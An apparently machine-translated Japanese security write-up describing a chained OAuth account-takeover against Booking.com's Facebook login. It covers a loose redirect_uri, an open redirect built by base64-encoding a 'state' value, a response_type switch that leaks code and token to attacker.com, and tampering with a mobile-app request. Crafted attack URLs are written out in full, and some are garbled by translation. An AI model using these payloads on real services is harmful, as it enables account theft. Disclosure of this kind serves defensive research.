目次
セキュリティ脆弱性 1 + 2 = アカウント乗っ取りの試み
アカウントの引き継ぎのデバッグに失敗しました – 何を見逃したのでしょうか?
この記事の著者: アビアド・カーメル
著者はこう結論づけています。
要約:
1. 目標: 第三者による本人確認
2. フォーカス: 元の Web ページにジャンプするリンクを返します (認証成功後の ID バインディングの可能性あり)。
3. 利用方法: (1) リンクを他の人に送信し、他の人がそれをクリックすると、そのアカウントがバインドされます; (2) URL リダイレクト + 本人確認リンク
4. 悪用の前提: リンク ジャンプ元が検証されていないか、URL リダイレクトの脆弱性があります。
1.OAuthとは何ですか?
OAuth 2.0 は、ユーザーがパスワードを共有せずにサードパーティのアプリケーションがリソースにアクセスすることを承認できるようにする、一般的に使用されるフレームワークです。たとえば、Slack に Google カレンダーへのアクセスを許可すると、同僚があなたがいつ会議に参加しているかを確認できるようになります。
OAuth は認証フレームワークとして始まったわけではありませんが、ソーシャル ログイン機能 (Web サイトやアプリで見られる「Google/Facebook でログイン」オプション) を持つユーザー向けの認証メカニズムとして広く使用されています。たとえば、多くの電子商取引 Web サイトやアプリケーションでは OAuth を使用して、ユーザーが資格情報を何度も入力しなくてもアカウントを認証して購入できるようにしています。
認証用の「OpenID Connect」について聞いたことがあるかもしれません。これは、OAuth に基づいた同様の概念です。
OAuth のセキュリティの脆弱性は、個人情報の盗難、金融詐欺、およびクレジット カード番号、プライベート メッセージ、健康記録などを含むさまざまな個人情報へのアクセスにつながる可能性があります。昨年、 Frans Rosen 氏の「Dirty Dance」や、その発見により Facebook から 44,625 ドルを獲得したYoussef Sammouda 氏のブログなど、多くの興味深いブログでログイン OAuth フローにおけるアカウント乗っ取りについて説明されました。これらのブログやその他のブログは、OAuth の内部動作とそれに関連する潜在的なリスクについての貴重な洞察を提供します。
2. OAuth は認証にどのように使用されますか?
単純な非技術的な図から始めましょう。
これらの手順を 1 つずつ説明しましょう。
1. Randomsite.comにアクセスし 、[Facebook でログイン] をクリックします。
2. Randomsite.com は Facebook から新しいウィンドウを開きます。
3. Randomsite.com を初めて使用する場合、Facebook は 許可を求めます。それ以外の場合は、Facebook が自動的に認証します。
4. [ジョンとして続行] をクリックすると、Facebook がシークレット トークンを生成します。このトークンは Randomsite.comに対してプライベートであり 、Facebook プロフィールに関連付けられています。
5. Facebook はこのトークンを使用して、ユーザーをRandomsite.comにリダイレクトします 。
6. Randomsite.com は トークンを使用して Facebook と直接通信し、電子メール アドレスを取得します。
7. Facebook は確かに [email protected] を承認し、Randomsite.com は 彼をログインできるようにします。
ここで、チャートに URL を追加して、さらに詳しく見てみましょう。
ステップ 2 ～ 3:
John が Facebook をクリックしてログインすると、 Randomsite.com で新しいウィンドウが開き、次のアドレスが表示されます。
https://www.facebook.com/v3.0/dialog/oauth? redirect_uri=https：//randomsite.com/OAuth &scope=email&client_id=1501&state=[random_value]&response_type=token。
redirect_uri パラメータに注意してください。このパラメータは、ステップ 4 ～ 5 でトークンの送信先を Facebook に指示します。
ステップ 4 ～ 5:
Facebook は、 Randomsite.com用のシークレット トークンを準備し (client_id パラメータにより、リクエストが Randomsite.com から送信されていることを Facebook に伝えます)、ブラウザを redirect_uri にリダイレクトします。正確なリダイレクト:
https://randomsite.com/OAuth#token=[secret_token]]&state=[Random_Value]
ステップ 6 ～ 7:
Randomsite.com は URL からトークンを読み取り、それを使用して次の API を使用して Facebook と直接通信します。
https://graph.facebook.com/me?fields=id,name,email&access_token=[secret_token]。
応答は [email protected] です。
この例のフローは「暗黙的な許可タイプ」と呼ばれるもので、シングルページ アプリケーションやバックエンドのないネイティブ デスクトップ アプリケーションで一般的です。この例はバックエンドなし (Randomsite.com なし) で使用することもできますが、理解しやすいため、バックエンドありの暗黙的付与タイプを使用することにしました。
Google、Apple、その他の有名なベンダーも同様のプロセスに従います。新しいアプローチでは、リダイレクトの代わりに PostMessage 機能を利用しますが、この記事ではその使用例については説明しません。リダイレクトの使用は依然として最も一般的な方法です。
3.OAuthの実装
Booking.com での OAuth の仕組み
このフローは Randomsite.com の例と非常に似ていますが、赤色でマークした新しいステップが含まれている点が異なります。
ステップ 1: Booking.comで 、[Facebook でログイン] をクリックします。
ステップ 2-3:
予約すると次のリンクが開きます: https://www.facebook.com/v3.0/dialog/oauth? redirect_uri=https://account.booking.com/social/result/facebook &scope=email&client_id=210068525731476&state=[large_object]& response_type=code。
Randomsite.com の例で見たように、応答のタイプはトークンではなくコードであることに注意してください。
コードは、トークンと交換する必要がある一時的な値です。これにより、セキュリティ層が追加されます。これについては、手順 6 ～ 7 で説明します。
ステップ 4-5:
Facebook はあなたの身元を確認し、コードを使用してBooking.com にリダイレクトします。
https://account.booking.com/social/result/facebook?code={code}&status=[large_object]
コード account.booking.com は、Randomsite.com の例のようなハッシュ フラグメント ( # token= ) ではなく、クエリ パラメーター ( ? code=) 内にあることに注意してください。この問題については後ほど詳しく説明します。
ステップ6～7:
トークンを取得するには、booking.com は次の Facebook API を使用してコードとトークンを交換する必要があります。
この手順には Booking.com のみが知っている {アプリケーション シークレット} が含まれるため、Booking.com のみが実行できます。このコードは 1 回限りの使用です。つまり、交換できるのは 1 回だけです。このアプローチはより安全です。攻撃者がコードを盗んだとしても、悪用することはほぼ不可能です。
ステップ 8 ～ 9:
Randomsite.com で見たように、Booking.com は Facebook API を使用して、電子メール アドレスなどのユーザーに関する情報を取得します。このメールアドレスを使用して Booking.com にアカウントがある場合、Booking はこの既存のアカウントにサインインします。
このフローは、ほとんどすべての最新のサイトで一般的であり、認可コード付与または OAuth 明示的フローと呼ばれます。
4. アカウントの乗っ取り
OAuth では、攻撃者の目的は、被害者のトークンまたはコードを盗むことです。予約の場合、焦点はコードにあります。OAuth 研究における私の一般的なアプローチは、各パラメーターを変更することでフローの予期せぬ動作を引き起こし、これらのアクションが攻撃を成功させる能力をどのように高めるかを確認することです。
Booking.com と連携して完全なアカウント乗っ取りを実現するために、3 つの異なるセキュリティの質問をリンクすることができました。詳しく説明します。
セキュリティの脆弱性 1 - 固有のパスは許可されません
このサイトの OAuth シーケンスのいくつかのステップを実行することで、有益な情報を学び、その道を歩み始めることができました。
通常の動作では、前に説明したように、ユーザーが「Facebook でログイン」をクリックすると、Booking はユーザーを Facebook のリンク https://www.facebook.com/v3.0/dialog/oauth?redirect_uri にリダイレクトします。 =https://account.booking.com/social/result/facebook & scope=email&client_id=210068525731476&state=[large_object]&response_type=code。
ステップ 1 では、redirect_uri を別のパスに変更し、次のリンクを被害者に送信します。
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/ any/path/an/攻撃者/wants &scope=email&client_id=210068525731476&state=[large_object]&response_type=コード。
Facebook がエラーをスローするため、発信元 ( account.booking.com ) を変更できないことに注意してください。Booking.com が提供する事前定義された発信元と一致しません。
Booking.com が Facebook に登録したとき、redirect_uri の事前定義された起点は提供されましたが、正確なパスは提供されませんでした。したがって、Facebook はリダイレクトが発生する前にのみソースを確認できます。
ステップ 4: このリンクにより、被害者は次の場所にリダイレクトされます。
https://account.booking.com/ any/path/an/攻撃者/wants？code=[secret_code]?state=[large_object]
コードは任意のパスに送信できるため、制御する別のオリジン/ドメインにコードを送信する方法を探します。
セキュリティの脆弱性 2 - オープン リダイレクト
この時点で、被害者を私の制御ドメインにリダイレクトするbooking.comパスが必要です。これは、オープンなリダイレクト脆弱性の定義です。
Booking.com の機能を調べ始めたところ、マイ ダッシュボードで興味深いことに気づきました。
[表示名の追加] をクリックし、次の URL をポイントします。
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state= eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJ zb25hbCIsImFpZCI6IjEYMyJ9
この URL はユーザーをhttps://account.booking.com/mysettings/personalに自動的にリダイレクトします。どうやってわかるでしょうか？
ステータス変数に Base64 JSON 文字列eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9が含まれていることにすぐに気づきました。
それをデコードしてみましょう:
Booking は mysettings_path を使用してユーザーをリダイレクトする方法を決定しているようです。
次の JSON をエンコードしてみましょう。
eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQを取得しました
元のリンクの状態を置き換えて、被害者に新しいリンクを送信します。
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state= eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyL mNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ
このリンクは、被害者をより短いリンクに自動的にリダイレクトします (先ほどは省略しました)。
https://account.booking.com/settings/oauth_callback?state= eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ &code=not_ important_123
そして次のようになります。
https://攻撃者.com/index.php
開いているリダイレクト リンクで「OAuth」または「redirect_uri」という単語を見たことがあるかもしれません。これはBooking.comのOAuthの内部実装だと思います。Facebook やセキュリティ脆弱性 1 の redirect_uri とは何の関係もありません。
現在、booking.com でオープン リダイレクト エラーが発生しています。
5. セキュリティ脆弱性 1 + 2 = アカウント乗っ取りの試み
セキュリティ脆弱性 1 から Facebook へのリンク (コードを任意のパスに送信できます):
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/ any/path/we/want &scope=email&client_id=210068525731476&state=large_object]&response_type=code
+
Security Gap 2 からのオープン リダイレクト リンク( www.attacker.comへのリダイレクト) は次のとおりです。
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLm NvbS9pbmRleC5waHAiLCJhaWQiOiXMjMifQ
=
脆弱性 1 の redirect_uri にオープン リダイレクト リンクを挿入しましょう。
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri= https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account. Booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ &scope=email&response_type=code&client_id=2100685257 31476
このリンクを被害者に送信します。
応答タイプの変更
被害者がリンクをクリックすると、Facebook はユーザーを次のコードを含む脆弱性 2 の URL にリダイレクトします。
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLm Nv bS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ &code=[secret_code 】
これはオープン リダイレクトを備えた URL (状態 eyJteXN... が Attacker.com を指している) であるため、Booking は被害者を https://攻撃者.com/index.phpにリダイレクトします。
ただし、リダイレクトでは、ブラウザーは「#」 (ハッシュ フラグメント) の後の値のみを渡します。クエリ パラメーター (?=code=) で渡されたコードは、攻撃者.com には送信されません (https://攻撃者.com/index.php へのリダイレクトには表示されません)。
応答タイプを「code」から「code,token」に変更します。Facebook はコードとトークンの両方をハッシュ化されたフラグメントで送信します。これは機能です:)
その理由は、アクセス トークンは OAuth では非常に機密性の高い値であるため、ハッシュ フラグメントを使用する方がより安全なアプローチであるためです。これはサーバー側には送信されず、ログにも表示されません。JavaScript コードのみが読み取ることができます。(この詳細については、Google で「OAuth 暗黙的承認」を検索してください。
プロセスの概要:
ステップ 1: 攻撃者は被害者に次のリンクを送信します。
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account. Booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=code,token& client_id=2100685 25731476
ステップ 2 および 3: 被害者が新しいリンク (応答タイプ = コード、トークン) をクリックすると、Facebook は ユーザーを脆弱性 2 からハッシュ フラグメント内のコードを含む URL に自動的にリダイレクトします。
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLm Nv bS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ #code=[ Secret_code ]&access_token=[トークン]
ステップ 4 および 5: これはオープン リダイレクト (攻撃者.com を指すステータス) を持つ URL であるため、予約により被害者は https://攻撃者.com/index.phpにリダイレクトされます。
ステップ 6: ブラウザはコードをハッシュ フラグメントに追加し、被害者を次の場所にリダイレクトします。
https://攻撃者.com/index.php #code=[secret_code]&access_token=[トークン]
オプション: Attacker.com/index.php のソース コードを見てみましょう。
Index.php - URL を読み取り、保存された .php に送信する JavaScript コード。
save.php - 入力をログ ファイルに保存します。
(コードの生成には sanppify.com を使用しました)
アカウント乗っ取りの試み 1
この時点で、被害者のコードが手に入ります。私たちは（攻撃者として）新しいログインプロセスを開始し、私たちのコードを被害者のコードに置き換える必要があります。もう一度「Facebook でログイン」をクリックし、自分のアカウントでログインします。
通常のフローでは、Facebook が私たちを認証した後、コードを使用して予約にリダイレクトされます。
https://account.booking.com/social/result/facebook?code= {our_code} &state=[large_object]
私たちはこのリクエストを受け取ります。 コードを被害者の盗まれたコードに置き換えます。
https://account.booking.com/social/result/facebook?code= {victim_code} &state=[large_object]
Booking.com はコードをトークンと交換し、被害者のプロフィール情報を取得することになっています。
何が戻ってきたの？待って...
"無効なコード"
何も起こらなかった。私は何を取りこぼしたか？
アカウントの引き継ぎのデバッグに失敗しました – 何を見逃したのでしょうか?
Facebook のドキュメントによると、トークンとコードを交換するには、Booking.com バックエンドで次の API を使用する必要があります。
Facebook はドキュメントの中で、「このパラメータ (redirect_uri) は、 OAuth ログイン プロセスの開始時に使用した元のパラメータと同じである必要があります。」と書いています。
このリンクから OAuth ログイン プロセスを開始しました。
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account. Booking.com/settings/oauth_callback;response_type=code;state= eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ & scope=email&response_type=token、code&client_id=210068 525731476
この場合、元のredirect_uri は紫色でマークされます。このリンクは、セキュリティ脆弱性 2 からのオープン リダイレクト リンクです。
ただし、バックエンドでは、Booking が / oauth/access_token APIを使用してトークンのコードを交換するときに 、ハードコードされた値「https://account.booking.com/social/result/facebook」を redirect_uri として Facebook に送信します。これは、予約が通常のフロー中に使用する redirect_uri です。
同じ OAuth フローで、Facebook は 2 つの異なる redirect_uri を取得しましたが、それらが疑わしいため、エラーがスローされました。
セキュリティの脆弱性を探す 3
現時点ではオンラインで解決策が見つからなかったので、Booking.com のモバイル アプリについて調べてみることにしました。Android Studio、Frida (SSL ピンニングをバイパス)、および逆コンパイラーを使用して、アプリ上の OAuth を担当するコードを読み取りました。
モバイルアプリとBooking.comのバックエンド間のリクエストをインターセプトするために、Burpを使用しました。
モバイル アプリの為替グラフは少しわかりにくいですが、ステップ 6 に集中してください。
モバイル アプリの OAuth フローと Web サイトのフローの間には、ステップ 6 という大きな違いが 1 つあります。
ステップ 3 ～ 6: コードをモバイル アプリに渡し、それが Booking.com に送信されます。より正確には、コードは Chrome->Booking.com->MobileApp->Booking.com に渡されます。
なぜこのピンポン球が必要なのかわかりません。
ステップ 6: モバイル アプリは、ポスト リクエストを使用してコードを Booking.com に渡します。
結果の Uri に注目してください。何のための予約かわかりますか？
Booking.com がトークン交換コードを含む redirect_uri として resultURi を使用し、この値を制御できる場合は、Facebook の検証をバイパスできます。
攻撃に使用した元の redirect_uri は次のとおりです。
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state= eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyL mNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ
要約すると、攻撃者としては次のことを行う必要があります。
- 攻撃者のアカウントを使用して、攻撃者のモバイルアプリから Booking.com にログインします。
- ステップ 6 でリクエストをインターセプトします。
- 私たちのコードを盗まれた被害者のコードに置き換えます。
- resultURi を攻撃に使用したリンク (booking.com/state=eyJteXn..) に置き換えます。
そのリクエストをBooking.comに送信すると...ゲームオーバーです。被害者のアカウントにログインできます。